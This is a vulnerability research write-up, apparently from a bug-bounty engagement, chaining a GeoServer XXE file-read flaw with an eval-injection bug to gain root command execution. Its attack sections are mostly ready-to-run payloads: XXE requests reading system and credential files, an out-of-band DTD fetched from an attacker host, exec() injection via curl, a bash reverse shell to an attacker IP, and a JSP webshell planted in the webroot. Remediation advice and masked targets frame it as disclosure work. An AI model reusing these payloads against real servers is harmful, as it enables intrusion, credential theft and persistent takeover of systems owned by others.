Background#

GeoServer is an open-source Java server for sharing geospatial data (maps, layers, features) through OGC-standard protocols such as WMS, WFS, and WCS. Because it is designed to be public-facing, many GeoServer instances are exposed on the internet — including ones belonging to research institutions and government agencies.

The two CVEs at the heart of this research:

The research question I started with: XXE only gives a file-read primitive — no write, no execute. Can that realistically lead to RCE?

The answer: yes, through chaining.

Reconnaissance#

During recon I came across a publicly exposed GeoServer instance (URL masked as https://geoserver.redacted.example). Two things caught my attention:

1. The OWS endpoint answered WMS/WFS requests without authentication — normal for GeoServer, but it means the attack surface is wide open.
2. Verbose error messages (ServiceException with stack traces) — helpful for fingerprinting.

To keep the real target safe, validation against it was kept to an absolute minimum; deep analysis was performed on a local lab replica reproducing the target’s configuration (version, data structure, and deployment layout).

Stage 1 — XXE as the Eyes (CVE-2025-58360)#

The XXE lives in the SLD (StyledLayerDescriptor) document that GeoServer parses when processing a WMS GetMap request. The external entity is placed inside the <n> (layer name) element, and the file contents are reflected back inside the WMS ServiceException error — a clean error-based exfiltration channel:

1
curl -s -X POST \
2
  -H "Content-Type: text/xml" \
3
  -d '<?xml version="1.0" encoding="UTF-8"?>
4
<!DOCTYPE StyledLayerDescriptor [
5
  <!ENTITY xxe SYSTEM "file:///etc/os-release">
6
]>
7
<StyledLayerDescriptor version="1.0.0">
8
  <NamedLayer>
9
    <n>&xxe;</n>
10
  </NamedLayer>
11
</StyledLayerDescriptor>' \
12
  "https://geoserver.redacted.example/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"

The response carries the file contents inside the exception text:

1
<ServiceException>
2
  A UserLayer or NamedLayer without layer name was passed: PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
3
  ...
4
</ServiceException>

File read confirmed. From here, the same payload is reused throughout the engagement — only the entity path changes:

1
<!ENTITY xxe SYSTEM "file:///TARGET_PATH">

1
<!ENTITY xxe SYSTEM "file:///">

1
.dockerenv  bin  etc  opt  usr  var  ...

1
<!ENTITY xxe SYSTEM "file:///usr/local/">

1
geoserver  tomcat  ...

1
<!-- evil.dtd -->
2
<!ENTITY % file SYSTEM "file:///PATH/TO/TARGET">
3
<!ENTITY % start "<![CDATA[">
4
<!ENTITY % end "]]>">
5
<!ENTITY % wrap "<!ENTITY exfil '%start;%file;%end;'>">
6
%wrap;

1
<!DOCTYPE StyledLayerDescriptor [
2
  <!ENTITY % dtd SYSTEM "http://ATTACKER_IP:8000/evil.dtd">
3
  %dtd;
4
]>
5
<StyledLayerDescriptor version="1.0.0">
6
  <NamedLayer>
7
    <n>&exfil;</n>
8
  </NamedLayer>
9
</StyledLayerDescriptor>

1
<!ENTITY xxe SYSTEM "file:///usr/local/tomcat/logs/catalina.2026-07-13.log">

1
Server version:        Apache Tomcat/8.5.31
2
JVM Version:           1.8.0_171-8u171-b11-1~deb9u1-b11
3
Command line argument: -DGEOSERVER_DATA_DIR=/var/local/geoserver

1
<!ENTITY xxe SYSTEM "file:///var/local/geoserver/security/users.properties">

1
admin=geoserver,ROLE_ADMINISTRATOR

Stage 2 — Precise Version Fingerprinting#

Instead of guessing, list the application’s libraries directly — directory listing again:

1
<!ENTITY xxe SYSTEM "file:///usr/local/geoserver/WEB-INF/lib/">

1
gs-main-2.13.1.jar
2
gs-ows-2.13.1.jar
3
gt-cql-19.1.jar
4
...

GeoServer 2.13.1 (GeoTools 19.1) — released 2018, far below the CVE-2024-36401 patch boundary (2.23.6 / 2.24.4 / 2.25.2). This is where the XXE proved its worth: without a file-read primitive, pinning the version this precisely is much harder.

Stage 3 — RCE (CVE-2024-36401)#

GeoServer evaluates expressions in several OGC request parameters. The exec() function registered in GeoTools allows direct system command execution:

1
curl -G "https://geoserver.redacted.example/geoserver/ows" \
2
  --data-urlencode "service=WFS" \
3
  --data-urlencode "version=2.0.0" \
4
  --data-urlencode "request=GetPropertyValue" \
5
  --data-urlencode "typeName=sf:archsites" \
6
  --data-urlencode "valueReference=exec(java.lang.Runtime.getRuntime(),'id')"

Note: --data-urlencode matters — raw {, }, and | characters are rejected by Tomcat, and + inside base64 payloads would be mangled into spaces in a query string.

1
java.lang.ClassCastException: java.lang.UNIXProcess cannot be cast to
2
org.opengis.feature.type.AttributeDescriptor

1
# Step 1: execute a write via CVE-2024-36401
2
curl -G "https://geoserver.redacted.example/geoserver/ows" \
3
  --data-urlencode "service=WFS" --data-urlencode "version=2.0.0" \
4
  --data-urlencode "request=GetPropertyValue" --data-urlencode "typeName=sf:archsites" \
5
  --data-urlencode "valueReference=exec(java.lang.Runtime.getRuntime(),'touch /tmp/pwned36401')"

1
<!-- Step 2: read it back via CVE-2025-58360 -->
2
<!ENTITY xxe SYSTEM "file:///tmp/pwned36401">

1
curl -X POST "https://geoserver.redacted.example/geoserver/wfs" \
2
  -H "Content-Type: application/xml" -d '<wfs:GetFeature service="WFS" version="1.0.0"
3
  xmlns:wfs="http://www.opengis.net/wfs" xmlns:ogc="http://www.opengis.net/ogc">
4
  <wfs:Query typeName="reference:va_county">
5
    <ogc:Filter>
6
      <ogc:PropertyIsEqualTo>
7
        <ogc:Function name="exec">
8
          <ogc:Literal>java.lang.Runtime.getRuntime()</ogc:Literal>
9
          <ogc:Literal>id</ogc:Literal>
10
        </ogc:Function>
11
        <ogc:Literal>true</ogc:Literal>
12
      </ogc:PropertyIsEqualTo>
13
    </ogc:Filter>
14
  </wfs:Query>
15
</wfs:GetFeature>'

From execution to shell#

For interactive access, Java’s Runtime.exec doesn’t interpret pipes/redirects, so the standard base64 pattern is used:

1
# Attacker side
2
echo -n 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | base64 -w0
3
nc -lvnp 4444

1
curl -G "https://geoserver.redacted.example/geoserver/ows" \
2
  --data-urlencode "service=WFS" --data-urlencode "version=2.0.0" \
3
  --data-urlencode "request=GetPropertyValue" --data-urlencode "typeName=sf:archsites" \
4
  --data-urlencode "valueReference=exec(java.lang.Runtime.getRuntime(),'bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')"

And when outbound connectivity is restricted, write a JSP webshell directly into the webroot — the port you already reach is your channel:

1
curl -G "https://geoserver.redacted.example/geoserver/ows" \
2
  --data-urlencode "service=WFS" --data-urlencode "version=2.0.0" \
3
  --data-urlencode "request=GetPropertyValue" --data-urlencode "typeName=sf:archsites" \
4
  --data-urlencode "valueReference=exec(java.lang.Runtime.getRuntime(),'bash -c {echo,BASE64_JSP}|{base64,-d}|{tee,/usr/local/tomcat/webapps/ROOT/shell.jsp}')"

1
<%@ page import="java.io.*" %><% String c=request.getParameter("cmd");
2
if(c!=null){ Process p=Runtime.getRuntime().exec(c);
3
InputStream i=p.getInputStream(); int b;
4
while((b=i.read())!=-1){ out.write(b); } } %>

1
$ curl "https://geoserver.redacted.example/shell.jsp?cmd=id"
2
uid=0(root) gid=0(root) groups=0(root)

Because the GeoServer process runs as root, RCE means full control of the container.

The Full Chain#

1
CVE-2025-58360 (XXE file read)
2
  ├─ /etc/os-release, /etc/shadow       → target profiling
3
  ├─ directory listing via file://       → filesystem mapping
4
  ├─ catalina log                        → GEOSERVER_DATA_DIR + defensive intel
5
  ├─ security/users.properties           → legacy credentials
6
  └─ WEB-INF/lib/                        → precise version: 2.13.1
7
        ↓
8
CVE-2024-36401 (eval injection)
9
  └─ exec() via OGC parameter            → command execution
10
        ↓
11
Root shell / persistent webshell

The XXE never executed anything — its role was being the eyes: it turned a blind attacker into one who knows the exact version, layout, credentials, and other weaknesses of the target.

Impact#

• Unauthenticated RCE as root on a production server hosting institutional geospatial data.
• Access to the entire GeoServer configuration, including database (PostGIS) credentials stored with reversible encryption.
• Potential pivoting into the internal network.
• Log evidence showed the server was already being probed by other scanners/bots — high risk of active exploitation in the wild.

Remediation#

• Upgrade GeoServer to a patched version (≥ 2.23.6 / 2.24.4 / 2.25.2 for CVE-2024-36401; ≥ 2.25.6 / 2.26.2 for CVE-2025-58360). Closing one CVE is not enough — this instance was vulnerable to both at once.
• Never run as root — a non-root process significantly limits RCE impact.
• Remove legacy credential files (users.properties) after migrating the user store.
• Do not deploy Tomcat manager/host-manager apps in production.
• Restrict container egress — reverse shells and exfiltration become far harder without outbound connectivity.
• Disable the AJP connector if unused (port 8009).
• Monitor logs — XXE and eval injection leave distinctive patterns in access and error logs.

Closing Thoughts#

This research reinforces an old principle: there is no such thing as a “merely informational” vulnerability. An XXE with no write or execute primitive still becomes a gateway to full compromise when used as a reconnaissance oracle. For hunters: precise fingerprinting is half the battle — and an error message is often the best, non-destructive proof of exploitation you’ll ever get. For defenders: an outdated stack exposed to the public internet is a ticking time bomb, especially once the scanners come knocking.

All URLs and target identifiers are masked. Validation against the real server was kept to a minimum; full impact demonstration was performed on a local lab replica. Thanks to the program’s security team for their fast and professional response.